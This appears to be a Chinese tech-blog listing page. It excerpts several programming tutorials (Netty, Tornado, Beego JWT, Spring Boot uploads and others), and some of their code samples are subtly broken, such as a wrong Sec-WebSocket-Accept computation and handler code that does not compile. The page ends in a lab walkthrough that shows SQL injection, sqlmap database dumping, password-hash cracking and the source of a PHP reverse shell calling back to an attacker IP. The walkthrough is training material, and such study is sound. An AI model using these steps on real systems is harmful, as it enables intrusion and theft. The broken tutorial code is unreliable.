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AngularJS
...的角色。它就像是咱们处理HTTP请求和响应的得力小助手,帮我们轻松搞定各种网络交互难题。 然而,在某些情况下,我们可能需要在非AngularJS的环境中使用$http服务。这很可能是因为我们现在手头上正好有个现成的项目,不过我们琢磨着给它加点新鲜玩意儿,这些新功能可能得依赖$http服务才能实现。 在这种情况下,我们应该怎么做呢?接下来,我会给出几个具体的步骤来帮助你解决这个问题。 一、导入$http服务 首先,我们需要导入$http服务。在AngularJS中,我们可以通过在模块的config函数中注入$httpProvider来做到这一点: javascript angular.module('myApp', []) .config(function($httpProvider) { $httpProvider.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest'; }); 二、使用$http服务发送GET请求 然后,我们可以使用$http服务发送GET请求。下面是一个简单的例子: javascript angular.module('myApp') .controller('MyCtrl', function($scope, $http) { $http.get('/api/data') .then(function(response) { $scope.data = response.data; }); }); 在这个例子中,我们在控制器中注入了$http服务,并且使用$http.get方法发送了一个GET请求到'/api/data'这个URL。当服务器返回响应时,我们会在.then方法中处理这个响应。 三、使用$http服务发送POST请求 除了GET请求,我们还可以使用$http服务发送POST请求。下面是一个例子: javascript angular.module('myApp') .controller('MyCtrl', function($scope, $http) { $scope.submitData = function() { var data = {name: $scope.name, email: $scope.email}; $http.post('/api/submit', data) .then(function(response) { alert('Data submitted successfully!'); }); }; }); 在这个例子中,我们在提交数据之前先获取了表单中的数据,然后使用$http.post方法发送了一个POST请求到'/api/submit'这个URL,并将数据作为请求体发送出去。当服务器返回响应时,我们会弹出一个成功的提示框。 四、总结 总的来说,虽然AngularJS提供了很多方便的工具和服务,但是在非AngularJS的环境中也可以使用$http服务。经过以上这几个步骤,我真心相信你现在已经有十足的把握,在没有AngularJS的环境里也能灵活运用$http服务啦,妥妥的! 最后,我要强调的是,虽然$http服务可以让我们更方便地处理HTTP请求和响应,但是在实际开发中,我们也应该尽可能地避免直接使用原始的JavaScript库或者API。这样搞的话,不仅会让我们的代码变得乱七八糟、纠结复杂,还会让以后维护和扩展代码变得像啃硬骨头一样难,可费劲儿了。
2023-05-14 10:40:55
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繁华落尽-t
Kibana
...1. 引言 在开发和使用Kibana的过程中,我们有时会遇到CORS(Cross-Origin Resource Sharing)跨域问题,这就像一座无形的桥梁,阻碍了前端应用与后端API之间的通信。本文将围绕“如何解决Kibana API调用时的CORS跨域问题”这一主题进行探讨,希望通过详尽的阐述和丰富的代码示例,帮助你理解这个问题,并找到切实可行的解决方案。 2. CORS跨域的基本原理 (2.1)什么是CORS? CORS是一种W3C标准,允许一个域上的Web应用访问另一个域上的资源,例如,你的前端应用运行在一个域名下,而Kibana API服务却在另一个域名下,此时就需要CORS策略来决定是否允许这种跨域请求。 (2.2)为何会出现CORS错误? 浏览器出于安全考虑,默认禁止不同源间的AJAX请求。当你在前端捣鼓着调用Kibana API的时候,要是服务器那边没给咱们返回正确的CORS响应头信息,这可就热闹了,浏览器它一准儿会给你抛出个“CORS错误”,让你知道这事没那么简单。 3. Kibana中的CORS配置实战 (3.1)Kibana中启用CORS 要在Kibana中解决CORS问题,我们需要对后端Elasticsearch服务进行配置,使其允许特定的源进行跨域访问。 yaml 在elasticsearch.yml配置文件中添加以下内容 http.cors.enabled: true http.cors.allow-origin: "" 上述代码开启了CORS功能,并允许所有源()进行跨域访问。实际生产环境中,建议替换为具体的域名以增强安全性。 (3.2)自定义CORS配置 如果你需要更细致的控制,可以进一步设置其他CORS相关参数,如: yaml http.cors.allow-methods: OPTIONS, GET, POST, PUT, DELETE http.cors.allow-headers: "X-Requested-With, Content-Type, Authorization" http.cors.max-age: 1728000 以上配置分别指定了允许的HTTP方法、请求头以及预检请求缓存的最大存活时间。 4. 前端调用Kibana API的示例 假设现在我们已成功配置了Elasticsearch的CORS策略,接下来就可以在前端安心地调用Kibana API了。这里以JavaScript的fetch API为例: javascript // 假设我们的Kibana API地址是 http://kibanahost:5601/api/some-endpoint fetch('http://kibanahost:5601/api/some-endpoint', { method: 'GET', headers: new Headers({ 'Content-Type': 'application/json', // 如果有权限验证,还需带上Authorization头 // 'Authorization': 'Bearer your_token' }) }) .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Error:', error)); 在这个例子中,由于我们的Elasticsearch已经正确设置了CORS策略,所以前端可以顺利地向Kibana API发起请求并获取数据。 5. 结语 CORS问题虽小,但对于构建基于Kibana的应用而言却至关重要。只要我们把原理摸得透透的,再给它来个恰到好处的设置调教,就能确保跨域请求一路绿灯,这样一来,前后端就能像好兄弟一样无缝配合,高效协作啦!在整个操作过程中,咱得时刻把安全性和用户体验这两头儿捏在手心里,找到那个微妙的平衡点,这样子才能让Kibana这个数据分析工具,彻底爆发它的洪荒之力,展现出真正的强大功能。在探索和实践的过程中,希望这篇文章能成为你解决问题的得力助手,一起携手打造更好的数据分析体验!
2023-01-27 19:17:41
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翡翠梦境
Netty
...示例 1. 引言 在使用Netty进行WebSocket编程时,我们可能会遇到一个常见的异常情况——Invalid or incomplete WebSocket handshake response。这个让人头疼的错误提示,常常让开发者们伤透脑筋,特别是在捣鼓那些要求贼高、既要处理大量并发、又要保证高性能的实时通信系统时,更是让他们挠破了头。本文将通过深入剖析这一问题的本质,并辅以丰富的代码实例,帮助大家理解和解决此类问题。 2. 问题背景 WebSocket握手与Netty WebSocket是一种双向通信协议,允许服务端和客户端之间建立持久化的连接并进行全双工通信。在建立连接的过程中,首先需要完成一次“握手”操作,即客户端发送一个HTTP Upgrade请求,服务端响应确认升级为WebSocket协议。当这个握手过程出现问题时,Netty会抛出Invalid or incomplete WebSocket handshake response异常。 3. 握手失败原因分析 (1)格式不正确:WebSocket握手响应必须遵循特定的格式规范,包括但不限于状态码101(Switching Protocols)、Upgrade头部字段值为websocket、Connection头部字段值包含upgrade等。如果这些条件未满足,Netty在解析握手响应时就会报错。 java // 正确的WebSocket握手响应示例 HttpResponse response = new DefaultHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.SWITCHING_PROTOCOLS); response.headers().set(HttpHeaderNames.UPGRADE, "websocket"); response.headers().set(HttpHeaderNames.CONNECTION, "Upgrade"); (2)缺失关键信息:WebSocket握手过程中,客户端和服务端还会交换Sec-WebSocket-Key和Sec-WebSocket-Accept两个特殊头部字段。要是服务端在搞Sec-WebSocket-Accept这个值的时候算错了,或者压根儿没把这个值传回给客户端,那就等于说这次握手要黄了,也会造成连接失败的情况。 java // 计算Sec-WebSocket-Accept的Java代码片段 String key = request.headers().get(HttpHeaderNames.SEC_WEBSOCKET_KEY); String accept = Base64.getEncoder().encodeToString( sha1(key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").getBytes(StandardCharsets.UTF_8) ); response.headers().set(HttpHeaderNames.SEC_WEBSOCKET_ACCEPT, accept); 4. 实战调试 排查与修复 当我们遇到Invalid or incomplete WebSocket handshake response异常时,可以通过以下步骤来定位问题: - 查看日志:详细阅读Netty打印的异常堆栈信息,通常可以从中发现具体的错误描述和发生错误的位置。 - 检查代码:对照WebSocket握手协议规范,逐一检查服务器端处理握手请求的代码逻辑,确保所有必需的头部字段都被正确设置和处理。 - 模拟客户端:利用如Wireshark或者Postman工具模拟发送握手请求,观察服务端的实际响应内容,对比规范看是否存在问题。 5. 结语 在Netty的世界里,Invalid or incomplete WebSocket handshake response并非无法逾越的鸿沟,它更像是我们在探索高性能网络编程旅程中的一个小小挑战。要知道,深入研究WebSocket那个握手协议的门道,再配上Netty这个神器的威力,我们就能轻轻松松地揪出并解决那些捣蛋的问题。这样一来,咱们就能稳稳当当地打造出既稳定又高效的WebSocket应用,让数据传输嗖嗖的,贼溜贼溜的!在实际开发中,让我们一起面对挑战,享受解决技术难题带来的乐趣吧!
2023-11-19 08:30:06
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凌波微步
Tomcat
...mcat作为一款广泛使用的Java Servlet容器,为我们提供了强大的服务器环境。其中,Cookie与Session是两个不可或缺的数据存储机制,它们在处理用户会话和数据持久化上发挥着关键作用。今天呢,咱们就来一起琢磨琢磨,看看这两个概念在Tomcat这个家伙里头是怎么相互扯上关系、纠缠不清的。 二、Cookie的基础知识 1.1 什么是Cookie? Cookie就像是浏览器和服务器之间的秘密信封,用来存储一些临时信息。当用户在浏览网页时,每当他们点开一个网站,服务器就像个小秘书一样,会悄悄地把一些信息(比如用户的专属ID)装进一个叫Cookie的小盒子里,再把这个小盒子递回给用户的浏览器保管。下次你再访问网站时,浏览器就像个小秘书,会贴心地把这些叫做Cookie的小东西一并带给服务器。这样一来,服务器就能轻松认出你,还能随时了解你的动态轨迹啦! java // 设置Cookie HttpServletResponse response = ...; Cookie cookie = new Cookie("userID", "123456"); cookie.setMaxAge(3600); // 有效期1小时 response.addCookie(cookie); 三、Session的出现 1.2 Session的登场 Session则是一个服务器端存储用户会话状态的数据结构,它在服务器端持久化,每次请求都会检查是否已经创建或者重新加载。相比Cookie,Session提供了更安全且容量更大的存储空间。 java // 创建Session HttpSession session = request.getSession(); session.setAttribute("username", "John Doe"); 四、Cookie与Session的关联 2.1 从Cookie到Session 当服务器接收到带有Cookie的请求时,可以通过Cookie中的信息找到对应的Session。如果Session不存在,Tomcat会自动创建一个新的Session。 java // 获取Session HttpSession session = request.getSession(true); // 如果不存在则创建 String userID = (String) session.getAttribute("userID"); 2.2 通过Session更新Cookie 为了保持客户端的登录状态,我们通常会在Session中存储用户信息,然后更新Cookie: java // 更新Cookie Cookie cookie = (Cookie) session.getAttribute("cookie"); cookie.setValue(userID); response.addCookie(cookie); 五、Cookie与Session的区别与选择 3.1 差异分析 Cookie数据存储在客户端,安全性较低,容易被窃取。而Session数据存储在服务器端,安全但需要更多网络开销。通常来说,那些重要的、涉及隐私的敏感信息啊,咱们最好把它们存放在Session里头,就像把贵重物品锁进保险箱一样。而那些不怎么敏感的信息呢,可以考虑用Cookie来存储,就相当于放在抽屉里,方便日常使用,但也不会影响到核心安全。 3.2 何时选择 如果你需要保持用户在长时间内的一致性(如购物车),Session是个好选择。而对于日常的简单对话标记,用Cookie就妥妥的了,因为它完全不需要咱去动用服务器端的资源。 六、总结 Cookie与Session是Web开发中的两个重要工具,理解它们的工作原理以及如何在Tomcat中使用,能帮助我们更好地构建高效、安全的Web应用。记住了啊,每一种技术都有它专属的“舞台”,就像选对了工具,才能让咱们编写的代码更酷炫、更流畅,让用户用起来爽歪歪,体验感直线飙升! 希望这篇文章能帮助你对Tomcat中的Cookie与Session有更深的理解,如果有任何疑问,欢迎随时探讨!
2024-03-05 10:54:01
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醉卧沙场-t
Apache Solr
...展的全文搜索引擎,在处理大规模数据索引和搜索需求时表现出色。然而,在那种很多人同时挤在一个地方,都对着Solr进行写操作的繁忙情况下,就有点像大家抢着往一个本子上记东西,一不留神就会出现“手忙脚乱”的并发写入冲突问题。这样一来,就像有几笔记录互相打架,最后可能导致某些数据无法成功插入的情况。本文将深入探讨这一问题,并通过实例代码及解决方案来帮助你理解和解决此类问题。 2. 并发写入冲突原理浅析 在Solr中,每个文档都有一个唯一的标识符——唯一键(uniqueKey),当多个请求尝试同时更新或插入同一唯一键的文档时,就可能出现并发写入冲突。Solr默认采用了像乐天派一样的乐观锁机制,也就是版本号控制这一招儿,来巧妙地应对这个问题。具体来说呢,就像每一份文档都有自己的身份证号码一样,它们各自拥有一个版本号字段,这个字段就叫做 _version_。每次我们对文档进行更新的时候,这个版本号就会往上加一,就像咱们小时候玩游戏升级打怪一样,每次升级都会经验值往上涨。要是有两个请求,它们各自带的版本号对不上茬儿,那么后到的那个请求就会被我们无情地拒之门外。这么做是为了避免数据被不小心覆盖或者丢失掉,就像你不会同时用两支笔在同一份作业上写字,以防搞乱一样。 java // 示例:尝试更新一个文档,包含版本号控制 SolrInputDocument doc = new SolrInputDocument(); doc.addField("id", "1"); // 唯一键 doc.addField("_version_", 2); // 当前版本号 doc.addField("content", "new content"); UpdateRequest req = new UpdateRequest(); req.add(doc); req.setCommitWithin(1000); // 设置自动提交时间 solrClient.request(req); 3. 并发写入冲突引发的问题实例 设想这样一个场景:有两个并发请求A和B,它们试图更新同一个文档。假设请求A先到达,成功更新了文档并增加了版本号。这时,请求B才到达,但由于它携带的是旧的版本号信息,因此更新操作会失败。 java // 请求B的示例代码,假设携带的是旧版本号 SolrInputDocument conflictingDoc = new SolrInputDocument(); conflictingDoc.addField("id", "1"); // 同一唯一键 conflictingDoc.addField("_version_", 1); // 这是过期的版本号 conflictingDoc.addField("content", "conflicting content"); UpdateRequest conflictReq = new UpdateRequest(); conflictReq.add(conflictingDoc); solrClient.request(conflictReq); // 此请求将因为版本号不匹配而失败 4. 解决策略与优化方案 面对这种并发写入冲突导致的数据插入失败问题,我们可以从以下几个方面入手: - 重试策略:当出现版本冲突时,可以设计一种重试机制,让客户端获取最新的版本号后重新发起更新请求。但需要注意避免无限循环和性能开销。 - 分布式事务:对于复杂业务场景,可能需要引入分布式事务管理,如使用Solr的TransactionLog功能实现ACID特性,确保在高并发环境下的数据一致性。 - 应用层控制:在应用层设计合理的并发控制策略,例如使用队列、锁等机制,确保在同一时刻只有一个请求在处理特定文档的更新。 - 合理设置Solr配置:比如调整autoCommit和softCommit的参数,以减少因频繁提交而导致的并发冲突。 5. 总结与思考 在实际开发过程中,我们不仅要了解Apache Solr提供的并发控制机制,更要结合具体业务场景灵活运用,适时采取合适的并发控制策略。当碰上并发写入冲突,导致数据插不进去的尴尬情况时,咱们得主动出击,找寻并实实在在地执行那些能解决问题的好法子,这样才能确保咱们系统的平稳运行,保证数据的准确无误、前后一致。在摸爬滚打的探索旅程中,我们不断吸收新知识,理解奥秘,改进不足,这正是技术所散发出的独特魅力,也是咱们这群开发者能够持续进步、永不止步的原动力。
2023-12-03 12:39:15
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岁月静好
Tornado
...P Upgrade Request: 客户端通过发送一个包含Upgrade头信息的HTTP请求,表示希望从普通的HTTP连接升级到WebSocket连接。 python Tornado Example: class MyHandler(tornado.web.RequestHandler): async def get(self): self.set_header("Upgrade", "websocket") self.set_header("Connection", "upgrade") self.set_header("Sec-WebSocket-Version", 13) self.set_header("Sec-WebSocket-Key", generate_key()) await self.write(""" """) def generate_key(): return base64.b64encode(os.urandom(16)).decode() 2. Server Handshake Response: 服务器收到请求后,会返回一个包含Upgrade、Connection、Sec-WebSocket-Accept头的HTTP响应,以及客户端提供的Sec-WebSocket-Key值所计算出来的Sec-WebSocket-Accept值。 python class MyWebSocket(tornado.websocket.WebSocketHandler): async def open(self, args, kwargs): key = self.get_secure_cookie("websocket_key") accept = base64.b64encode(hmac.new(key.encode(), environ["Sec-WebSocket-Key"].encode(), hashlib.sha1).digest()).decode() self.write_message(f"Sec-WebSocket-Accept: {accept}") 3. Client Acceptance: 客户端收到Server Handshake Response后,验证Sec-WebSocket-Accept头,并继续向服务器发送一个确认消息。 4. Persistent Connection: 握手成功后,双方可以开始进行WebSocket数据传输。 如果任一阶段出现错误(如错误的HTTP状态码、无法获取正确的Sec-WebSocket-Accept),握手就会失败,导致连接未能建立。 三、处理WebSocket握手失败的方法 面对WebSocket握手失败的问题,我们可以采用以下几种方法来确保应用程序能够优雅地处理并恢复: 1. 错误检查与重试机制 - 在MyWebSocket类的open()方法中,我们可以通过检查HTTP响应的状态码和自定义的错误条件,捕获握手失败异常: python try: await super().open(args, kwargs) except tornado.websocket.WebSocketHandshakeError as e: if e.status_code == 400 or "Invalid upgrade header" in str(e): print("WebSocket handshake failed due to an invalid request.") self.close() - 如果出现握手失败,可设置一个重试逻辑,例如延迟一段时间后再次尝试连接: python import time MAX_RETRIES = 3 RETRY_DELAY_SECONDS = 5 retry_count = 0 while retry_count < MAX_RETRIES: try: await super().open(args, kwargs) break except WebSocketHandshakeError as e: print(f"WebSocket handshake failed ({e}), retrying in {RETRY_DELAY_SECONDS} seconds...") time.sleep(RETRY_DELAY_SECONDS) retry_count += 1 else: print("Maximum retries exceeded; connection failure.") break 2. 监控与日志记录 - 可以利用Tornado的日志功能,详细记录握手过程中发生的错误及其原因,便于后续排查与优化: python logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) async def open(self, args, kwargs): try: await super().open(args, kwargs) except WebSocketHandshakeError as e: logger.error("WebSocket handshake failed:", exc_info=True) self.close() 3. 通知客户端错误信息 - 当服务器检测到握手失败时,应告知客户端具体问题以便其采取相应措施: python try: await super().open(args, kwargs) except WebSocketHandshakeError as e: message = f"WebSocket handshake failed: {str(e)}" self.write_message(message) self.close() 四、总结 WebSocket握手失败对于实时应用而言是一个重大挑战,但通过以上针对错误检查、重试机制、日志监控及客户端反馈等方面的处理策略,我们可以确保Tornado WebSocket服务具备高度健壮性和容错能力。当碰上WebSocket握手不成功这类状况时,别忘了结合实际的业务环境,活学活用这些小技巧。这样一来,咱的WebSocket服务肯定能变得更扎实、更靠谱,妥妥地提升稳定性。
2024-02-03 10:48:42
132
清风徐来-t
Beego
...、验证、刷新以及过期处理,旨在为开发者提供一套全面且易于实施的解决方案。 1. JWT基础与Beego整合 JWT是一种基于JSON的开放标准,用于在客户端和服务器之间传递安全信息。它由三个部分组成:头部、载荷和签名。哎呀,这个头儿啊,就像快递包裹上的标签一样,上面写着各种算法和类型的信息,就像收件人地址和物品名称。包裹里面装的可就是用户的私货啦,比如个人信息、数据啥的。最后那个签名呢?就像是快递小哥在包裹上按的手印,用加密的方法保证了这东西是没被偷看或者变过样,而且能确认是它家快递员送来的,不是冒牌货。 在Beego框架中,我们可以利用第三方库如jwt-go来简化JWT的生成和验证过程。首先,需要在项目的依赖文件中添加如下内容: bash go get github.com/dgrijalva/jwt-go 接下来,在你的控制器中引入并使用jwt-go库: go package main import ( "github.com/dgrijalva/jwt-go" "github.com/beego/beego/v2/client/orm" "net/http" ) // 创建JWT密钥 var jwtKey = []byte("your-secret-key") type User struct { Id int64 orm:"column(id);pk" Name string orm:"column(name)" } func main() { // 初始化ORM orm.RegisterModel(new(User)) // 示例:创建用户并生成JWT令牌 user := &User{Name: "John Doe"} err := orm.Insert(user) if err != nil { panic(err) } token, err := createToken(user.Id) if err != nil { panic(err) } http.HandleFunc("/login", func(w http.ResponseWriter, r http.Request) { w.Write([]byte(token)) }) http.ListenAndServe(":8080", nil) } func createToken(userId int64) (string, error) { claims := jwt.StandardClaims{ Issuer: "YourApp", ExpiresAt: time.Now().Add(time.Hour 24).Unix(), Subject: userId, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString(jwtKey) } 2. JWT验证与解码 在用户请求资源时,我们需要验证JWT的有效性。Beego框架允许我们通过中间件轻松地实现这一功能: go func authMiddleware(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r http.Request) { tokenHeader := r.Header.Get("Authorization") if tokenHeader == "" { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } tokenStr := strings.Replace(tokenHeader, "Bearer ", "", 1) token, err := jwt.Parse(tokenStr, func(token jwt.Token) (interface{}, error) { if _, ok := token.Method.(jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) } return jwtKey, nil }) if err != nil { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } if !token.Valid { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } next.ServeHTTP(w, r) } } http.HandleFunc("/protected", authMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 根据UserID获取用户信息或其他操作... }))) 3. 刷新令牌与过期处理 为了提高用户体验并减少用户在频繁登录的情况下的不便,可以实现一个令牌刷新机制。当JWT过期时,用户可以发送请求以获取新的令牌。这通常涉及到更新JWT的ExpiresAt字段,并相应地更新数据库中的记录。 go func refreshToken(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 更新数据库中的用户信息以延长有效期 err := orm.Update(&User{Id: userID}, "expires_at = ?", time.Now().Add(time.Hour24)) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } newToken, err := createToken(userID) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } w.Write([]byte(newToken)) } 4. 总结与展望 通过上述步骤,我们不仅实现了JWT在Beego框架下的集成与管理,还探讨了其在实际应用中的实用性和灵活性。JWT令牌的生命周期管理对于增强Web应用的安全性和用户体验至关重要。哎呀,你懂的,就是说啊,咱们程序员小伙伴们要是能不断深入研究密码学这门学问,然后老老实实地跟着那些最佳做法走,那在面对各种安全问题的时候就轻松多了,咱开发出来的系统自然就又稳当又高效啦!就像是有了金刚钻,再硬的活儿都能干得溜溜的! 在未来的开发中,持续关注安全漏洞和最佳实践,不断优化和升级JWT的实现策略,将有助于进一步提升应用的安全性和性能。哎呀,随着科技这玩意儿越来越发达,咱们得留意一些新的认证方式啦。比如说 OAuth 2.0 啊,这种东西挺适合用在各种不同的场合和面对各种变化的需求时。你想想,就像咱们出门逛街,有时候用钱包,有时候用手机支付,对吧?认证机制也一样,得根据不同的情况选择最合适的方法,这样才能更灵活地应对各种挑战。所以,探索并尝试使用 OAuth 2.0 这类工具,让咱们的技术应用更加多样化和适应性强,听起来挺不错的嘛!
2024-10-15 16:05:11
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风中飘零
SpringBoot
如何使用Spring Boot进行文件上传? 在现代Web开发中,文件上传是一个常见的需求,无论是用户上传图片、视频,还是后台上传配置文件,都需要高效且稳定的处理方式。哎呀,你知道Spring Boot这个Java Web框架吗?它可是个超级好用的小工具!为什么这么说呢?因为它超级简洁,上手快,部署起来也特别方便,所以很多搞程序的大佬们都特别喜欢用它来开发项目。就像是你去超市买菜,选了个特别省事儿的购物车,推起来既轻松又快捷,Spring Boot就是那个购物车,让你的编程之旅更顺畅,效率更高!本文将详细讲解如何使用Spring Boot进行文件上传,包括配置、编码示例以及一些最佳实践。 1. 配置文件上传 在开始之前,确保你的项目中包含了必要的依赖。通常,Spring Boot会自动配置文件上传功能,但为了明确和控制,我们可以通过application.properties或application.yml文件来设置文件上传的目录和大小限制。 properties application.properties spring.servlet.multipart.max-file-size=2MB spring.servlet.multipart.max-request-size=10MB upload.path=/path/to/upload/files 这里,我们设置了单个文件的最大大小为2MB,整个请求的最大大小为10MB,并指定了上传文件的保存路径。 2. 创建Controller处理文件上传 接下来,在你的Spring Boot项目中创建一个控制器(Controller)来处理文件上传请求。下面是一个简单的例子: java import org.springframework.core.io.InputStreamResource; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.multipart.MultipartFile; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; @Controller public class FileUploadController { @PostMapping("/upload") public ResponseEntity uploadFile(@RequestParam("file") MultipartFile file) { try { // 检查文件是否存在 if (file.isEmpty()) { return ResponseEntity.badRequest().body("Failed to upload empty file."); } // 获取文件名和类型 String fileName = file.getOriginalFilename(); String contentType = file.getContentType(); // 保存文件到指定路径 File targetFile = new File(upload.path + fileName); Files.copy(file.getInputStream(), Paths.get(targetFile.getAbsolutePath())); return ResponseEntity.ok("File uploaded successfully: " + fileName); } catch (IOException e) { return ResponseEntity.internalServerError().body("Failed to upload file: " + e.getMessage()); } } } 3. 测试文件上传功能 在完成上述配置和编码后,你可以通过Postman或其他HTTP客户端向/upload端点发送一个包含文件的POST请求。确保在请求体中正确添加了文件参数,如: json { "file": "path/to/your/file" } 4. 处理异常与错误 在实际应用中,文件上传可能会遇到各种异常情况,如文件过大、文件类型不匹配、服务器存储空间不足等。在这次的案例里,我们已经用了一段 try-catch 的代码来应对一些常见的错误情况了。就像你在日常生活中遇到小问题时,会先尝试解决,如果解决不了,就会求助于他人或寻找其他方法一样。我们也是这样,先尝试执行一段代码,如果出现预料之外的问题,我们就用 catch 部分来处理这些意外状况,确保程序能继续运行下去,而不是直接崩溃。对于更复杂的场景,例如检查文件类型或大小限制,可以引入更精细的逻辑: java @PostMapping("/upload") public ResponseEntity uploadFile(@RequestParam("file") MultipartFile file) { if (!isValidFileType(file)) { return ResponseEntity.badRequest().body("Invalid file type."); } if (!isValidFileSize(file)) { return ResponseEntity.badRequest().body("File size exceeds limit."); } // ... } private boolean isValidFileType(MultipartFile file) { // Check file type logic here } private boolean isValidFileSize(MultipartFile file) { // Check file size logic here } 结语 通过以上步骤,你不仅能够实现在Spring Boot应用中进行文件上传的基本功能,还能根据具体需求进行扩展和优化。记住,良好的错误处理和用户反馈是提高用户体验的关键。希望这篇文章能帮助你更好地理解和运用Spring Boot进行文件上传操作。嘿,兄弟!你听过这样一句话吗?“实践出真知”,尤其是在咱们做项目的时候,更是得这么干!别管你是编程高手还是设计大师,多试错,多调整,才能找到最适合那个场景的那套方案。就像是做菜一样,不试试加点这个,少放点那个,怎么知道哪个味道最对路呢?所以啊,提升技能,咱们就得在实际操作中摸爬滚打,这样才能把技术玩儿到炉火纯青的地步!
2024-09-12 16:01:18
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寂静森林
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...查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() 